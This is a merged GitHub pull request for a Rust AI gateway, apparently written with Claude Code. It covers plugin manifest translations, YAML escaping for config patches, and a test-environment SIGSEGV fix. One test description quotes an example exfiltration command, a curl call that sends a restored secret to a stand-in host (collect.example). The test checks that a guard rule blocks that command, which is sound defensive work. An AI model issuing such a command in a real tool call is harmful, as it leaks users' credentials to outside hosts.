Skip to content

Pre-release fixes for 0.58.0 - #273

Merged
fylorn merged 1 commit into
mainfrom
fix/pre-release-0.58
Oct 2, 2026
Merged

fylorn merged 1 commit into
mainfrom
fix/pre-release-0.58

Conversation

@fylorn

@fylorn fylorn commented Oct 2, 2026

Copy link
Copy Markdown
Contributor

Fixes found before tagging 0.58.0. No protocol, schema or message-code changes.

Default plugins: English manifests

  • The two setting labels were Chinese. They are now Answer language (reply-language) and The client runs on Windows (otherwise WSL) (wsl-paths), the same words Lite's English table uses. Lite translates them by plugin id and setting key.
  • The error reply-language throws for a setting that is not a language name is English too. It surfaces as the message of gw.plugin.threw, which Lite cannot translate.
  • The default value of language stays 简体中文: it is the setting's value (the language's own name, as the plugin contract sets it), not a label.
  • manifests.json is regenerated (UPDATE_DEFAULT_MANIFESTS=1). The LF pin in .gitattributes is unchanged.
  • New test: every default's name, description and setting labels are non-empty and contain no CJK characters.

Permission::Params

The doc said that a model change re-routes. It now says that a plugin's model change only renames what is sent to that upstream, never re-routes, and that the gateway key's model list still applies (gw.plugin.model_not_allowed). The same is added to the plugin::request module doc and to the plugins section of docs/config.md and docs/config.zh-CN.md. No other doc comment made the claim.

Placeholders a plugin writes are restored

The ignored test a_reply_plugin_cannot_reveal_a_key_it_never_saw_by_writing_its_placeholder called this an open contract issue. Placeholders only handle redaction and are restored whoever wrote them. Dangerous tool calls are the tool-call guard's job, judged on the final restored call. Two active tests replace the ignored one:

  • a_placeholder_a_plugin_writes_into_reply_text_is_restored_like_any_answer: a reply.text plugin appends <<TW_SECRET_1>>. The client receives the real key, streamed and whole, with redaction in enforce, observe and off. No placeholder reaches the client.
  • a_restored_credential_in_a_tool_call_to_an_unknown_host_is_cut: a reply.tool_calls plugin replaces the call with curl -s https://collect.example/?k=<<TW_SECRET_1>>. With tool-call inspection on enforce, the restored call is cut by secret-to-unknown-host, streamed and whole, with redaction on enforce and observe. The key never reaches the client, the client is told the rule's name, and the excerpt in tool_call_flagged carries no key. With that rule disabled, the test fails because the key reaches the client.

The test module doc no longer calls this an open issue, and plugin::bridge documents the design.

PATCH /config: control characters and line separators

PATCH /config and twcore config set write through tw-yaml's scalar renderer. It escaped only C0 and DEL, and it kept single quotes for values with tabs or control characters. Measured on main:

  • LS, PS or NEL in a plain value: syntax error (line 13): could not find expected ':'. The config loader (libyaml, YAML 1.1) reads them as line breaks. tw-yaml's own check (saphyr, YAML 1.2) did not catch it.
  • C1 characters or U+FFFE: control characters are not allowed at position N.
  • NEL inside double quotes was accepted, and read back as a space.

The fix:

  • tw_yaml::must_escape and tw_yaml::double_quoted are now the one implementation. They are the escaping Default plugins, guarded updates for tool-call plugins, no sandbox while no plugin is on #262 added to tw_config::edit for multi-line plugin settings, moved down so both writers share it.
  • The renderer escapes C0, DEL, C1, NEL, LS, PS, BOM, U+FFFE and U+FFFF in double quotes in every original style. A single-quoted value that needs an escape switches to double quotes.
  • Line breaks (\n, \r) are refused with config.edit.multiline unless the path is under plugins[i].settings. Before, a patch wrote them escaped into any field, names and keys included. tw_config::edit::check_line_breaks uses each section's multiline declaration, so the rule is the same as for by-name edits. The CLI uses the same check.
  • Found by the new property test: a value starting with ... written under a new key failed tw-yaml's own check, because on its own it parses as a document end marker. Such values are now quoted.

Tests:

  • tw-yaml/tests/escapes.rs: about 1,500 random strings, written with set over a plain, a single-quoted and a double-quoted value, and with insert under a new key. Each must read back exactly through serde and tw-yaml, and nothing outside the target line may change. It passed with ten seeds.
  • Unit tests in render.rs.
  • tw-control/tests/patch_text.rs: through ConfigManager::patch, escaped values read back exactly from the loaded configuration; line breaks are refused in single-line fields and the file is not touched; plugin settings take line breaks.

SIGSEGV in tw-control/tests/replay.rs (Linux CI on #268)

The cause is clear. The process crashed 0.26 s after its four tests started, before any of them finished.

  • system_proxy() called std::env::set_var and remove_var from one test thread while the other two tests ran in parallel.
  • Those two tests open SQLite for the first time in the process. sqlite3_os_init calls C getenv("SQLITE_TMPDIR") and getenv("TMPDIR").
  • They also build reqwest clients on rustls with aws-lc. aws-lc's CPU detection calls getenv("OPENSSL_ia32cap") on x86_64.
  • Rust's environment lock does not cover C callers. glibc's setenv can reallocate the environment array under a concurrent getenv, which then reads freed memory. That is why set_var is unsafe, and the SAFETY comment only considered Rust readers in this file.

The fix: the two system-proxy checks now run in a child process of the same test binary (the address_space.rs pattern). The proxy variables are set on the child's Command, so nothing changes the environment of a running multi-threaded process. A mutation check confirms that the child really uses the proxy: with proxy: system on the upstream, the replay got the fake proxy's 503 and the test failed. The other set_var uses are bedrock_profile.rs, which is alone in its own binary, and tw-config unit tests that set unique TW_TEST_* names. This PR does not change them.

Checks

  • cargo fmt --all -- --check, and the same for crates/tw-plugin/guest
  • cargo clippy --workspace --all-targets -- -D warnings
  • env -u HTTP_PROXY -u HTTPS_PROXY cargo test --workspace: 2601 passed, 0 failed, 7 ignored
  • cargo clippy -p tw-api --all-targets --features ts -- -D warnings, cargo test -p tw-api --features ts

All runs used RUSTFLAGS="-D warnings". The enterprise job only runs when a layer-one crate changes, and this PR changes none.

🤖 Generated with Claude Code

- Default plugins: setting labels are in English (Lite translates them by
  plugin id and setting key), and so is the error reply-language throws for
  a setting that is not a language name. The precomputed manifests are
  regenerated, and a test pins that names, descriptions and labels are
  English.
- Permission::Params no longer says that a model change re-routes. A
  plugin's model change only renames what is sent to that upstream, and the
  gateway key's model list still applies (gw.plugin.model_not_allowed). The
  config manual says so too.
- A placeholder a plugin writes is restored like any other placeholder. The
  ignored test that called this an open issue is replaced by two active
  tests: a placeholder written into reply text is restored, and a credential
  restored into a tool call to an unknown host is cut by
  secret-to-unknown-host.
- PATCH /config and `twcore config set` write control characters, LS, PS,
  NEL, BOM and the two noncharacters as escapes in double quotes, with the
  escaping the config editor already used (now shared from tw-yaml). A line
  break is refused outside plugin settings (config.edit.multiline). A value
  starting with `...` is quoted.
- replay.rs no longer changes the test process's environment: the system
  proxy checks run in a child process that gets the proxy in its
  environment when it starts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@fylorn
fylorn merged commit e03a424 into main Oct 2, 2026
4 checks passed
@fylorn
fylorn deleted the fix/pre-release-0.58 branch October 2, 2026 23:37
@fylorn fylorn mentioned this pull request Oct 2, 2026
fylorn added a commit that referenced this pull request Oct 3, 2026
Release for #251, #252, #263, #265, #268 and #272, with the pre-release
fixes in #273.

- Bump the workspace version to 0.58.0
- release-notes/0.58.0.md

The control-plane protocol (34) and the request store schema (25) are
already at their release values on main and do not change here.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant